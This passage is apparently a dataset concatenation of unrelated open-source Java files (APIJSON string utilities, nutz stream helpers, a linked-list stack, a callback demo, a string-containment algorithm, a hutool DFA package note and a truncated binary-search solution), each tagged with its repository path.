isEmail(String email) { if (isEmpty(email, true)) { return false; } currentString = email; return PATTERN_EMAIL.matcher(email).matches(); } /**判断是否全是验证码 * @param s * @return */ public static boolean isVerify(String s) { return getLength(s, false) >= 4 && isNumer(s); } /**判断是否全是数字 * @param s * @return */ public static boolean isNumer(String s) { if (isNotEmpty(s, true) == false) { return false; } currentString = s; return PATTERN_NUMBER.matcher(s).matches(); } /**判断是否全是字母 * @param s * @return */ public static boolean isAlpha(String s) { if (isEmpty(s, true)) { return false; } currentString = s; return PATTERN_ALPHA.matcher(s).matches(); } /**判断是否全是数字或字母 * @param s * @return */ public static boolean isNumberOrAlpha(String s) { return isNumer(s) || isAlpha(s); } /**判断是否为代码名称,只能包含字母,数字或下划线 * @param s * @return */ public static boolean isName(String s) { if (s == null || s.isEmpty()) { return false; } String first = s.substring(0, 1); if ("_".equals(first) == false && PATTERN_ALPHA.matcher(first).matches() == false) { return false; } return s.length() <= 1 ? true : PATTERN_NAME.matcher(s.substring(1)).matches(); } /**判断是否为首字母大写的代码名称 * @param s * @return */ public static boolean isBigName(String s) { if (s == null || s.isEmpty() || PATTERN_ALPHA_BIG.matcher(s.substring(0, 1)).matches() == false) { return false; } return s.length() <= 1 ? true : PATTERN_NAME.matcher(s.substring(1)).matches(); } /**判断是否为首字母小写的代码名称 * @param s * @return */ public static boolean isSmallName(String s) { if (s == null || s.isEmpty() || PATTERN_ALPHA_SMALL.matcher(s.substring(0, 1)).matches() == false) { return false; } return s.length() <= 1 ? true : PATTERN_NAME.matcher(s.substring(1)).matches(); } /**判断字符类型是否是身份证号 * @param number * @return */ public static boolean isIDCard(String number) { if (isNumberOrAlpha(number) == false) { return false; } number = getString(number); if (number.length() == 15) { Log.i(TAG, "isIDCard number.length() == 15 old IDCard"); currentString = number; return true; } if (number.length() == 18) { currentString = number; return true; } return false; } public static final String HTTP = "http"; public static final String URL_PREFIX = "http://"; public static final String URL_PREFIXs = "https://"; public static final String URL_STAFFIX = URL_PREFIX; public static final String URL_STAFFIXs = URL_PREFIXs; /**判断字符类型是否是网址 * @param url * @return */ public static boolean isUrl(String url) { if (isNotEmpty(url, true) == false) { return false; } if (! url.startsWith(URL_PREFIX) && ! url.startsWith(URL_PREFIXs)) { return false; } currentString = url; return true; } public static boolean isBranchUrl(String branchUrl) { if (isEmpty(branchUrl, false)) { return false; } return PATTERN_BRANCH_URL.matcher(branchUrl).matches(); } public static final String FILE_PATH_PREFIX = "file://"; /**判断文件路径是否存在 * @param path * @return */ public static boolean isFilePathExist(String path) { return StringUtil.isFilePath(path) && new File(path).exists(); } public static final String SEPARATOR = "/"; /**判断是否为路径 * @param path * @return */ public static boolean isPath(String path) { return StringUtil.isNotEmpty(path, true) && path.contains(SEPARATOR) && path.contains(SEPARATOR + SEPARATOR) == false && path.endsWith(SEPARATOR) == false; } /**判断字符类型是否是路径 * @param path * @return */ public static boolean isFilePath(String path) { if (isNotEmpty(path, true) == false) { return false; } if (! path.contains(".") || path.endsWith(".")) { return false; } currentString = path; return true; } //判断字符类型 >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> //提取特殊字符<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< /**去掉string内所有非数字类型字符 * @param object * @return */ public static String getNumber(Object object) { return getNumber(getString(object)); } /**去掉string内所有非数字类型字符 * @param cs * @return */ public static String getNumber(CharSequence cs) { return getNumber(getString(cs)); } /**去掉string内所有非数字类型字符 * @param s * @return */ public static String getNumber(String s) { return getNumber(s, false); } //CS304 Issue link: https://github.com/Tencent/APIJSON/issues/182 /**去掉string内所有非数字类型字符 * @param s -string passed in * @param onlyStart 中间有非数字时只获取前面的数字 * @return limit String * <p>Here we replace the simple "+" way of concatenating with Stringbuilder 's append</p> */ public static String getNumber(String s, boolean onlyStart) { if (isNotEmpty(s, true) == false) { return ""; } StringBuilder numberString = new StringBuilder(""); String single; for (int i = 0; i < s.length(); i++) { single = s.substring(i, i + 1); if (isNumer(single)) { numberString.append(single); } else { if (onlyStart) { return numberString.toString(); } } } return numberString.toString(); } //提取特殊字符>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> //校正(自动补全等)字符串<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< /**获取网址,自动补全 * @param url * @return */ public static String getCorrectUrl(String url) { Log.i(TAG, "getCorrectUrl : \n" + url); if (isNotEmpty(url, true) == false) { return ""; } // if (! url.endsWith("/") && ! url.endsWith(".html")) { // url = url + "/"; // } if (isUrl(url) == false) { return URL_PREFIX + url; } return url; } /**获取去掉所有 空格 、"-" 、"+86" 后的phone * @param phone * @return */ public static String getCorrectPhone(String phone) { if (isNotEmpty(phone, true) == false) { return ""; } phone = getNoBlankString(phone); phone = phone.replaceAll("-", ""); if (phone.startsWith("+86")) { phone = phone.substring(3); } return phone; } /**获取邮箱,自动补全 * @param email * @return */ public static String getCorrectEmail(String email) { if (isNotEmpty(email, true) == false) { return ""; } email = getNoBlankString(email); if (isEmail(email) == false && ! email.endsWith(".com")) { email += ".com"; } return email; } public static final int PRICE_FORMAT_DEFAULT = 0; public static final int PRICE_FORMAT_PREFIX = 1; public static final int PRICE_FORMAT_SUFFIX = 2; public static final int PRICE_FORMAT_PREFIX_WITH_BLANK = 3; public static final int PRICE_FORMAT_SUFFIX_WITH_BLANK = 4; public static final String[] PRICE_FORMATS = { "", "¥", "元", "¥ ", " 元" }; /**获取价格,保留两位小数 * @param price * @return */ public static String getPrice(String price) { return getPrice(price, PRICE_FORMAT_DEFAULT); } //CS304 Issue link: https://github.com/Tencent/APIJSON/issues/182 /**获取价格,保留两位小数 * @param price -price passed in * @param formatType 添加单位(元) * @return limit String * <p>Here we replace the simple "+" way of concatenating with Stringbuilder 's append</p> */ public static String getPrice(String price, int formatType) { if (isNotEmpty(price, true) == false) { return getPrice(0, formatType); } //单独写到getCorrectPrice? <<<<<<<<<<<<<<<<<<<<<< String correctPrice; StringBuilder correctPriceBuilder = new StringBuilder(""); String s; for (int i = 0; i < price.length(); i++) { s = price.substring(i, i + 1); if (".".equals(s) || isNumer(s)) { correctPriceBuilder.append(s); } } correctPrice = correctPriceBuilder.toString(); //单独写到getCorrectPrice? >>>>>>>>>>>>>>>>>>>>>> Log.i(TAG, "getPrice <<<<<<<<<<<<<<<<<< correctPrice = " + correctPrice); if (correctPrice.contains(".")) { // if (correctPrice.startsWith(".")) { // correctPrice = 0 + correctPrice; // } if (correctPrice.endsWith(".")) { correctPrice = correctPrice.replaceAll(".", ""); } } Log.i(TAG, "getPrice correctPrice = " + correctPrice + " >>>>>>>>>>>>>>>>"); return isNotEmpty(correctPrice, true) ? getPrice(new BigDecimal(0 + correctPrice), formatType) : getPrice(0, formatType); } /**获取价格,保留两位小数 * @param price * @return */ public static String getPrice(BigDecimal price) { return getPrice(price, PRICE_FORMAT_DEFAULT); } /**获取价格,保留两位小数 * @param price * @return */ public static String getPrice(double price) { return getPrice(price, PRICE_FORMAT_DEFAULT); } /**获取价格,保留两位小数 * @param price * @param formatType 添加单位(元) * @return */ public static String getPrice(BigDecimal price, int formatType) { return getPrice(price == null ? 0 : price.doubleValue(), formatType); } /**获取价格,保留两位小数 * @param price * @param formatType 添加单位(元) * @return */ public static String getPrice(double price, int formatType) { String s = new DecimalFormat("#########0.00").format(price); switch (formatType) { case PRICE_FORMAT_PREFIX: return PRICE_FORMATS[PRICE_FORMAT_PREFIX] + s; case PRICE_FORMAT_SUFFIX: return s + PRICE_FORMATS[PRICE_FORMAT_SUFFIX]; case PRICE_FORMAT_PREFIX_WITH_BLANK: return PRICE_FORMATS[PRICE_FORMAT_PREFIX_WITH_BLANK] + s; case PRICE_FORMAT_SUFFIX_WITH_BLANK: return s + PRICE_FORMATS[PRICE_FORMAT_SUFFIX_WITH_BLANK]; default: return s; } } public static String join(String[] arr) { return join(arr); } /** 数组以指定分隔s拼接 * @param arr * @param s * @return */ public static String join(String[] arr, String s) { if (s == null) { s = ","; } StringBuilder sb = new StringBuilder(); for (int i = 0; i < arr.length; i++) { sb.append(arr[i]); if (i < arr.length-1) { sb.append(s); } } return sb.toString(); } /**分割路径 * @param path * @return */ public static String[] splitPath(String path) { if (StringUtil.isNotEmpty(path, true) == false) { return null; } return isPath(path) ? split(path, SEPARATOR) : new String[] {path}; } /**将s分割成String[] * @param s * @return */ public static String[] split(String s) { return split(s, null); } /**将s用split分割成String[] * trim = true; * @param s * @param split * @return */ public static String[] split(String s, String split) { return split(s, split, true); } /**将s用split分割成String[] * @param s * @param trim 去掉前后两端的split * @return */ public static String[] split(String s, boolean trim) { return split(s, null, trim); } /**将s用split分割成String[] * @param s * @param split * @param trim 去掉前后两端的split * @return */ public static String[] split(String s, String split, boolean trim) { s = getString(s); if (s.isEmpty()) { return null; } if (isEmpty(split, false)) { split = ","; } if (trim) { while (s.startsWith(split)) { s = s.substring(split.length()); } while (s.endsWith(split)) { s = s.substring(0, s.length() - split.length()); } } return s.contains(split) ? s.split(split) : new String[]{s}; } /** * @param key * @param suffix * @return key + suffix,第一个字母小写 */ public static String addSuffix(String key, String suffix) { key = getNoBlankString(key); if (key.isEmpty()) { return firstCase(suffix); } return firstCase(key) + firstCase(suffix, true); } /** * @param key */ public static String firstCase(String key) { return firstCase(key, false); } /** * @param key * @param upper * @return */ public static String firstCase(String key, boolean upper) { key = getString(key); if (key.isEmpty()) { return ""; } String first = key.substring(0, 1); key = (upper ? first.toUpperCase() : first.toLowerCase()) + key.substring(1, key.length()); return key; } /**全部大写 * @param s * @return */ public static String toUpperCase(String s) { return toUpperCase(s, false); } /**全部大写 * @param s * @param trim * @return */ public static String toUpperCase(String s, boolean trim) { s = trim ? getTrimedString(s) : getString(s); return s.toUpperCase(); } /**全部小写 * @param s * @return */ public static String toLowerCase(String s) { return toLowerCase(s, false); } /**全部小写 * @param s * @return */ public static String toLowerCase(String s, boolean trim) { s = trim ? getTrimedString(s) : getString(s); return s.toLowerCase(); } public static String concat(String left, String right) { return concat(left, right, null); } public static String concat(String left, String right, String split) { return concat(left, right, split, true); } public static String concat(String left, String right, boolean trim) { return concat(left, right, null, trim); } public static String concat(String left, String right, String split, boolean trim) { if (isEmpty(left, trim)) { return right; } if (isEmpty(right, trim)) { return left; } if (split == null) { split = ","; } return left + split + right; } //校正(自动补全等)字符串>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> public static boolean equals(Object s1, Object s2) { return Objects.equals(s1, s2); } public static boolean equalsIgnoreCase(String s1, String s2) { if (s1 == s2) { return true; } if (s1 == null || s2 == null) { return false; } return s1.equalsIgnoreCase(s2); } }
Tencent/APIJSON
APIJSONORM/src/main/java/apijson/StringUtil.java
3
package org.nutz.lang; import java.io.BufferedInputStream; import java.io.BufferedOutputStream; import java.io.BufferedReader; import java.io.BufferedWriter; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.Closeable; import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.FileWriter; import java.io.Flushable; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.io.OutputStream; import java.io.OutputStreamWriter; import java.io.PushbackInputStream; import java.io.Reader; import java.io.Writer; import org.nutz.lang.stream.FileChannelInputStream; import org.nutz.lang.stream.FileChannelOutputStream; import org.nutz.lang.stream.VoidInputStream; import org.nutz.resource.NutResource; import org.nutz.resource.Scans; /** * 提供了一组创建 Reader/Writer/InputStream/OutputStream 的便利函数 * * @author zozoh(zozohtnt@gmail.com) * @author Wendal(wendal1985@gmail.com) * @author bonyfish(mc02cxj@gmail.com) */ public abstract class Streams { private static final int BUF_SIZE = 8192; /** * 判断两个输入流是否严格相等 */ public static boolean equals(InputStream sA, InputStream sB) throws IOException { int dA; while ((dA = sA.read()) != -1) { int dB = sB.read(); if (dA != dB) return false; } return sB.read() == -1; } /** * 将一段文本全部写入一个writer。 * <p> * <b style=color:red>注意</b>,它并不会关闭输出流 * * @param writer * * @param cs * 文本 * @throws IOException */ public static void write(Writer writer, CharSequence cs) throws IOException { if (null != cs && null != writer) { writer.write(cs.toString()); writer.flush(); } } /** * 将一段文本全部写入一个writer。 * <p> * <b style=color:red>注意</b>,它会关闭输出流 * * @param writer * 输出流 * @param cs * 文本 */ public static void writeAndClose(Writer writer, CharSequence cs) { try { write(writer, cs); } catch (IOException e) { throw Lang.wrapThrow(e); } finally { safeFlush(writer); safeClose(writer); } } /** * 将输入流写入一个输出流。块大小为 8192 * <p> * <b style=color:red>注意</b>,它并不会关闭输入/出流 * * @param ops * 输出流 * @param ins * 输入流 * * @return 写入的字节数 * @throws IOException */ public static long write(OutputStream ops, InputStream ins) throws IOException { return write(ops, ins, BUF_SIZE); } /** * 将输入流写入一个输出流。 * <p> * <b style=color:red>注意</b>,它并不会关闭输入/出流 * * @param ops * 输出流 * @param ins * 输入流 * @param bufferSize * 缓冲块大小 * * @return 写入的字节数 * * @throws IOException */ public static long write(OutputStream ops, InputStream ins, int bufferSize) throws IOException { return write(ops, ins, -1, bufferSize); } /** * 将输入流写入一个输出流。 * <p> * <b style=color:red>注意</b>,它并不会关闭输入/出流 * * @param ops * 输出流 * @param ins * 输入流 * @param limit * 最多写入多少字节,0 或负数表示不限 * @param bufferSize * 缓冲块大小 * * @return 写入的字节数 * * @throws IOException */ public static long write(OutputStream ops, InputStream ins, long limit, int bufferSize) throws IOException { if (null == ops || null == ins) return 0; byte[] buf = new byte[bufferSize]; int len; long bytesCount = 0; if (limit > 0) { long remain = limit; while (-1 != (len = ins.read(buf))) { // 还可以写入的字节数 if (len > remain) { len = (int) remain; remain = 0; } // 减去 else { remain -= len; } bytesCount += len; ops.write(buf, 0, len); // 写够了 if (remain <= 0) { break; } } } // 全写 else { while (-1 != (len = ins.read(buf))) { bytesCount += len; ops.write(buf, 0, len); } } // 啥都没写,强制触发一下写 // 这是考虑到 walnut 的输出流实现,比如你写一个空文件 // 那么输入流就是空的,但是 walnut 的包裹输出流并不知道你写过了 // 它人你就是打开一个输出流,然后再关上,所以自然不会对内容做改动 // 所以这里触发一个写,它就知道,喔你要写个空喔。 if (0 == bytesCount) { ops.write(buf, 0, 0); } ops.flush(); return bytesCount; } /** * 将输入流写入一个输出流。块大小为 8192 * <p> * <b style=color:red>注意</b>,它会关闭输入/出流 * * @param ops * 输出流 * @param ins * 输入流 * @return 写入的字节数 */ public static long writeAndClose(OutputStream ops, InputStream ins) { try { return write(ops, ins); } catch (IOException e) { throw Lang.wrapThrow(e); } finally { safeFlush(ops); safeClose(ops); safeClose(ins); } } /** * 将文本输入流写入一个文本输出流。块大小为 8192 * <p> * <b style=color:red>注意</b>,它并不会关闭输入/出流 * * @param writer * 输出流 * @param reader * 输入流 * @throws IOException */ public static long write(Writer writer, Reader reader) throws IOException { if (null == writer || null == reader) return 0; char[] cbuf = new char[BUF_SIZE]; int len, count = 0; while (true) { len = reader.read(cbuf); if (len == -1) break; writer.write(cbuf, 0, len); count += len; } return count; } /** * 将文本输入流写入一个文本输出流。块大小为 8192 * <p> * <b style=color:red>注意</b>,它会关闭输入/出流 * * @param writer * 输出流 * @param reader * 输入流 */ public static long writeAndClose(Writer writer, Reader reader) { try { return write(writer, reader); } catch (IOException e) { throw Lang.wrapThrow(e); } finally { safeFlush(writer); safeClose(writer); safeClose(reader); } } /** * 将一个字节数组写入一个输出流。 * <p> * <b style=color:red>注意</b>,它并不会关闭输出流 * * @param ops * 输出流 * @param bytes * 字节数组 * @throws IOException */ public static void write(OutputStream ops, byte[] bytes) throws IOException { if (null == ops || null == bytes || bytes.length == 0) return; ops.write(bytes); } /** * 将一个字节数组写入一个输出流。 * <p> * <b style=color:red>注意</b>,它会关闭输出流 * * @param ops * 输出流 * @param bytes * 字节数组 */ public static void writeAndClose(OutputStream ops, byte[] bytes) { try { write(ops, bytes); } catch (IOException e) { throw Lang.wrapThrow(e); } finally { safeFlush(ops); safeClose(ops); } } /** * 从一个文本流中读取全部内容并返回 * <p> * <b style=color:red>注意</b>,它并不会关闭输出流 * * @param reader * 文本输出流 * @return 文本内容 * @throws IOException */ public static StringBuilder read(Reader reader) throws IOException { StringBuilder sb = new StringBuilder(); read(reader, sb); return sb; } /** * 从一个文本流中读取全部内容并返回 * <p> * <b style=color:red>注意</b>,它会关闭输入流 * * @param reader * 文本输入流 * @return 文本内容 * @throws IOException */ public static String readAndClose(Reader reader) { try { return read(reader).toString(); } catch (IOException e) { throw Lang.wrapThrow(e); } finally { safeClose(reader); } } /** * 从一个文本流中读取全部内容并写入缓冲 * <p> * <b style=color:red>注意</b>,它并不会关闭输出流 * * @param reader * 文本输出流 * @param sb * 输出的文本缓冲 * @return 读取的字符数量 * @throws IOException */ public static int read(Reader reader, StringBuilder sb) throws IOException { char[] cbuf = new char[BUF_SIZE]; int count = 0; int len; while (-1 != (len = reader.read(cbuf))) { sb.append(cbuf, 0, len); count += len; } return count; } /** * 从一个文本流中读取全部内容并写入缓冲 * <p> * <b style=color:red>注意</b>,它会关闭输出流 * * @param reader * 文本输出流 * @param sb * 输出的文本缓冲 * @return 读取的字符数量 */ public static int readAndClose(InputStreamReader reader, StringBuilder sb) { try { return read(reader, sb); } catch (IOException e) { throw Lang.wrapThrow(e); } finally { safeClose(reader); } } /** * 读取一个输入流中所有的字节 * * @param ins * 输入流,必须支持 available() * @return 一个字节数组 * @throws IOException */ public static byte[] readBytes(InputStream ins) throws IOException { ByteArrayOutputStream out = new ByteArrayOutputStream(); write(out, ins); return out.toByteArray(); } /** * 读取一个输入流中所有的字节,并关闭输入流 * * @param ins * 输入流,必须支持 available() * @return 一个字节数组 * @throws IOException */ public static byte[] readBytesAndClose(InputStream ins) { byte[] bytes = null; try { bytes = readBytes(ins); } catch (IOException e) { throw Lang.wrapThrow(e); } finally { Streams.safeClose(ins); } return bytes; } /** * 关闭一个可关闭对象,可以接受 null。如果成功关闭,返回 true,发生异常 返回 false * * @param cb * 可关闭对象 * @return 是否成功关闭 */ public static boolean safeClose(Closeable cb) { if (null != cb) try { cb.close(); } catch (IOException e) { return false; } return true; } /** * 安全刷新一个可刷新的对象,可接受 null * * @param fa * 可刷新对象 */ public static void safeFlush(Flushable fa) { if (null != fa) try { fa.flush(); } catch (IOException e) {} } /** * 为一个输入流包裹一个缓冲流。如果这个输入流本身就是缓冲流,则直接返回 * * @param ins * 输入流。 * @return 缓冲输入流 */ public static BufferedInputStream buff(InputStream ins) { if (ins == null) throw new NullPointerException("ins is null!"); if (ins instanceof BufferedInputStream) return (BufferedInputStream) ins; // BufferedInputStream的构造方法,竟然是允许null参数的!! 我&$#^$&% return new BufferedInputStream(ins); } /** * 创建采用 nio 方式更快速的文件输入流 * * @param f * 文件对象 * @return 管道文件数据流 * * @throws FileNotFoundException */ public static FileChannelInputStream chanIn(File f) throws FileNotFoundException { return chan(new FileInputStream(f)); } /** * 包裹采用 nio 方式更快速的文件输入流 * * @param ins * 文件输入流 * @return 管道文件数据流 */ public static FileChannelInputStream chan(FileInputStream ins) { if (ins == null) throw new NullPointerException("ins is null!"); return new FileChannelInputStream(ins); } /** * 创建采用 nio 方式更快速的文件输出流 * * @param f * 文件对象 * @param append * true 为末尾附加模式,false 表示从开头开始写 * * @return 管道文件数据流 * @throws FileNotFoundException */ public static FileChannelOutputStream chanOps(File f, boolean append) throws FileNotFoundException { return chan(new FileOutputStream(f, append)); } /** * 包裹采用 nio 方式更快速的文件输出流 * * @param ins * 文件输入流 * @return 管道文件数据流 */ public static FileChannelOutputStream chan(FileOutputStream ops) { if (ops == null) throw new NullPointerException("ops is null!"); return new FileChannelOutputStream(ops); } /** * 为一个输出流包裹一个缓冲流。如果这个输出流本身就是缓冲流,则直接返回 * * @param ops * 输出流。 * @return 缓冲输出流 */ public static BufferedOutputStream buff(OutputStream ops) { if (ops == null) throw new NullPointerException("ops is null!"); if (ops instanceof BufferedOutputStream) return (BufferedOutputStream) ops; return new BufferedOutputStream(ops); } /** * 为一个文本输入流包裹一个缓冲流。如果这个输入流本身就是缓冲流,则直接返回 * * @param reader * 文本输入流。 * @return 缓冲文本输入流 */ public static BufferedReader buffr(Reader reader) { if (reader instanceof BufferedReader) return (BufferedReader) reader; return new BufferedReader(reader); } /** * 为一个文本输出流包裹一个缓冲流。如果这个文本输出流本身就是缓冲流,则直接返回 * * @param ops * 文本输出流。 * @return 缓冲文本输出流 */ public static BufferedWriter buffw(Writer ops) { if (ops instanceof BufferedWriter) return (BufferedWriter) ops; return new BufferedWriter(ops); } /** * 根据一个文件路径建立一个输入流 * * @param path * 文件路径 * @return 输入流 */ public static InputStream fileIn(String path) { InputStream ins = Files.findFileAsStream(path); if (null == ins) { File f = Files.findFile(path); if (null != f) try { ins = Streams._input(f); } catch (IOException e) {} } if (null == ins) { // TODO 考虑一下,应该抛异常呢?还是返回null呢? throw new RuntimeException(new FileNotFoundException(path)); // return null; } return buff(ins); } /** * 根据一个文件路径建立一个输入流 * * @param file * 文件 * @return 输入流 */ public static InputStream fileIn(File file) { try { return buff(Streams._input(file)); } catch (IOException e) { throw Lang.wrapThrow(e); } } /** * 根据一个文件路径建立一个 UTF-8文本输入流 <b>警告!! 本方法会预先读取3个字节以判断该文件是否存在BOM头</b> * <p/> * <b>警告!! 如果存在BOM头,则自动跳过</b> * <p/> * * @param path * 文件路径 * @return 文本输入流 */ public static Reader fileInr(String path) { return utf8r(fileIn(path)); } /** * 根据一个文件路径建立一个 UTF-8 文本输入流 <b>警告!! 本方法会预先读取3个字节以判断该文件是否存在BOM头</b> * <p/> * <b>警告!! 如果存在BOM头,则自动跳过</b> * <p/> * * @param file * 文件 * @return 文本输入流 */ public static Reader fileInr(File file) { return utf8r(fileIn(file)); } private static final byte[] UTF_BOM = new byte[]{(byte) 0xEF, (byte) 0xBB, (byte) 0xBF}; /** * 判断并移除UTF-8的BOM头 */ public static InputStream utf8filte(InputStream in) { try { if (in.available() == -1) return in; PushbackInputStream pis = new PushbackInputStream(in, 3); byte[] header = new byte[3]; int len = pis.read(header, 0, 3); if (len < 1) return in; if (header[0] != UTF_BOM[0] || header[1] != UTF_BOM[1] || header[2] != UTF_BOM[2]) { pis.unread(header, 0, len); } return pis; } catch (IOException e) { throw Lang.wrapThrow(e); } } /** * 根据一个文件路径建立一个输出流 * * @param path * 文件路径 * @return 输出流 */ public static OutputStream fileOut(String path) { return fileOut(Files.findFile(path)); } /** * 根据一个文件建立一个输出流 * * @param file * 文件 * @return 输出流 */ public static OutputStream fileOut(File file) { try { return buff(new FileOutputStream(file)); } catch (FileNotFoundException e) { throw Lang.wrapThrow(e); } } /** * 根据一个文件路径建立一个 UTF-8 文本输出流 * * @param path * 文件路径 * @return 文本输出流 */ public static Writer fileOutw(String path) { return fileOutw(Files.findFile(path)); } /** * 根据一个文件建立一个 UTF-8 文本输出流 * * @param file * 文件 * @return 输出流 */ public static Writer fileOutw(File file) { return utf8w(fileOut(file)); } public static Reader utf8r(InputStream is) { return new InputStreamReader(utf8filte(is), Encoding.CHARSET_UTF8); } public static Writer utf8w(OutputStream os) { return new OutputStreamWriter(os, Encoding.CHARSET_UTF8); } public static InputStream nullInputStream() { return new VoidInputStream(); } public static InputStream wrap(byte[] bytes) { return new ByteArrayInputStream(bytes); } /** * 对一个文本输入流迭代每一行,并将其关闭 * * @param r * 文本输入流 * @param callback * 回调 * @return 迭代的行数 */ public static int eachLine(Reader r, Each<String> callback) { if (null == callback || null == r) return 0; BufferedReader br = null; try { br = Streams.buffr(r); String line; int index = 0; while (null != (line = br.readLine())) { try { callback.invoke(index++, line, -1); } catch (ExitLoop e) { break; } catch (ContinueLoop e) { continue; } } return index; } catch (IOException e2) { throw Lang.wrapThrow(e2); } finally { Streams.safeClose(br); } } /** * 获取File对象输入流,即使在Jar文件中一样工作良好!! <b>强烈推荐</b> * */ protected static InputStream _input(File file) throws IOException { if (file.exists()) return new FileInputStream(file); if (Scans.isInJar(file)) { NutResource nutResource = Scans.makeJarNutResource(file); if (nutResource != null) return nutResource.getInputStream(); } throw new FileNotFoundException(file.toString()); } public static void appendWriteAndClose(File f, String text) { FileWriter fw = null; try { fw = new FileWriter(f, true); fw.write(text); } catch (IOException e) { throw Lang.wrapThrow(e); } finally { safeClose(fw); } } public static String nextLineTrim(BufferedReader br) throws IOException { String line = null; while (br.ready()) { line = br.readLine(); if (line == null) break; if (Strings.isBlank(line)) continue; return line.trim(); } return line; } public static long writeAndClose(OutputStream ops, InputStream ins, int buf) { try { return write(ops, ins, buf); } catch (IOException e) { throw Lang.wrapThrow(e); } finally { safeFlush(ops); safeClose(ops); safeClose(ins); } } }
nutzam/nutz
src/org/nutz/lang/Streams.java
4
package stack; /** * 基于链表实现的栈。 * * Author: Zheng */ public class StackBasedOnLinkedList { private Node top = null; public void push(int value) { Node newNode = new Node(value, null); // 判断是否栈空 if (top == null) { top = newNode; } else { newNode.next = top; top = newNode; } } /** * 我用-1表示栈中没有数据。 */ public int pop() { if (top == null) return -1; int value = top.data; top = top.next; return value; } public void printAll() { Node p = top; while (p != null) { System.out.print(p.data + " "); p = p.next; } System.out.println(); } private static class Node { private int data; private Node next; public Node(int data, Node next) { this.data = data; this.next = next; } public int getData() { return data; } } }
wangzheng0822/algo
java/08_stack/StackBasedOnLinkedList.java
5
package com.crossoverjie.guava.callback; import org.slf4j.Logger; import org.slf4j.LoggerFactory; /** * Function: * * @author crossoverJie * Date: 2018/7/15 13:52 * @since JDK 1.8 */ public class Caller { private final static Logger LOGGER = LoggerFactory.getLogger(Caller.class); private CallBackListener callBackListener ; private Notifier notifier ; private String question ; /** * 使用 */ public void call(){ LOGGER.info("开始提问"); //新建线程,达到异步效果 new Thread(new Runnable() { @Override public void run() { try { notifier.execute(Caller.this,question); } catch (InterruptedException e) { e.printStackTrace(); } } }).start(); LOGGER.info("提问完毕,我去干其他事了"); } public Notifier getNotifier() { return notifier; } public void setNotifier(Notifier notifier) { this.notifier = notifier; } public CallBackListener getCallBackListener() { return callBackListener; } public void setCallBackListener(CallBackListener callBackListener) { this.callBackListener = callBackListener; } public String getQuestion() { return question; } public void setQuestion(String question) { this.question = question; } @Override public String toString() { return "Caller{" + "callBackListener=" + callBackListener + ", notifier=" + notifier + ", question='" + question + '\'' + '}'; } }
crossoverJie/JCSprout
src/main/java/com/crossoverjie/guava/callback/Caller.java
6
package org.yousharp.julycoding.string; /** * 1.2 字符串包含 * (july github链接:https://github.com/julycoding/The-Art-Of-Programming-By-July/blob/master/ebook/zh/01.02.md) * * User: lingguo * Date: 14-6-29 */ public class StringContain { /** * * 问题描述: * 给定两个分别由字母组成的字符串A和字符串B,字符串B的长度比字符串A短。请问,如何最快地判断字符串B * 中所有字母是否都在字符串A里?为了简单起见,我们规定输入的字符串只包含大写英文字母。比如String A:ABCD,String B:BAD, * 返回true;string A:ABCD,string B:BCE,返回false;String A:ABCD,String B:AA,返回true。 * * 思路: * 思路一:遍历字符串B,判断每一个字符是否出现在字符串A中,时间复杂度O(n*m),空间复杂度O(1); * 思路二:先对两个字符串排序,然后同时遍历字符串A和B,判断B中的每一个字符是否都在字符串A中。时间复杂度O(nlogn),空间复杂度O(1); * 思路三:将每一个字符映射到一个素数上,对字符串A中的每一个字符表示的素数,求累积;然后遍历字符串B,用每一个字符表示的素 * 数去除字符串A的累积,判断余数是否为0。时间复杂度:O(n),空间复杂度O(1)。可能存在的问题:乘积时可能会溢出。 * 思路四:如果可以使用Java中的数据结构,HashMap和Set可以很方便地解决问题;如果不能,我们可以构造一个“签名”,将每一个字 * 符映射为整数(范围:0到26),然后遍历A中的每一个字符,将32位整数的对应位置1(整数初始为0),最后遍历B中的每一个字符,判断 * 每一个字符代表的整数在整数中是否已置位。时间复杂度O(n),空间复杂度O(1),思路四为最优算法。 * * 这里仅给出思路四的示例代码。 * * @param s1 * @param s2 * @return */ public static boolean hashCheck(char[] s1, char[] s2) { int mask = 0; for (char c: s1) { mask = mask | (1 << (c - 'A')); } for (char c: s2) { if ((mask & (1 << (c - 'A'))) == 0) { return false; } } return true; } }
julycoding/The-Art-Of-Programming-By-July-2nd
ebook/code/java/chapter1/1.2:字符串包含.java
7
/** * DFA全称为:Deterministic Finite Automaton,即确定有穷自动机。<br> * 解释起来原理其实也不难,就是用所有关键字构造一棵树,然后用正文遍历这棵树,遍历到叶子节点即表示文章中存在这个关键字。<br> * 我们暂且忽略构建关键词树的时间,每次查找正文只需要O(n)复杂度就可以搞定。<br> * * @author looly * */ package cn.hutool.dfa;
dromara/hutool
hutool-dfa/src/main/java/cn/hutool/dfa/package-info.java
8
M 1520921982 tags: Binary Search 二分的思想: 判断的是一个 validate() function, 而不是简单的'==' 不需要sort! 为什么呢? 因为我们不是在given array上面二分, 我们是根据最大值在[0, max]上二分. Overall time: O(nLogM), where M = largest wood length ``` /* Given n pieces of wood with length L[i] (integer array). Cut them into small pieces to guarantee you could have equal or more than k pieces with the same length. What is the longest length you can get from the n pieces of wood? Given L & k, return the maximum length of the small pieces. Note You couldn't cut wood into float length. Example For L=[232, 124, 456], k=7, return 114. Challenge O(n log Len), where Len is the longest length of the wood. Tags Expand Binary Search */ /* Thoughts: Find a number, that can split all L's into K parts. The number should range: [0, L(largest)] 1. binary search [0, largest value] 2. condition check: count pieces 3. Need find the mid: valid(mid) && !valid(mid + 1) Time: O(n) find max Time: O(n * logM) Overall: O(nLogM), where M = largest wood length */ public class Solution { /** * @param L: Given n pieces of wood with length L[i] * @param k: An integer * @return: The maximum length 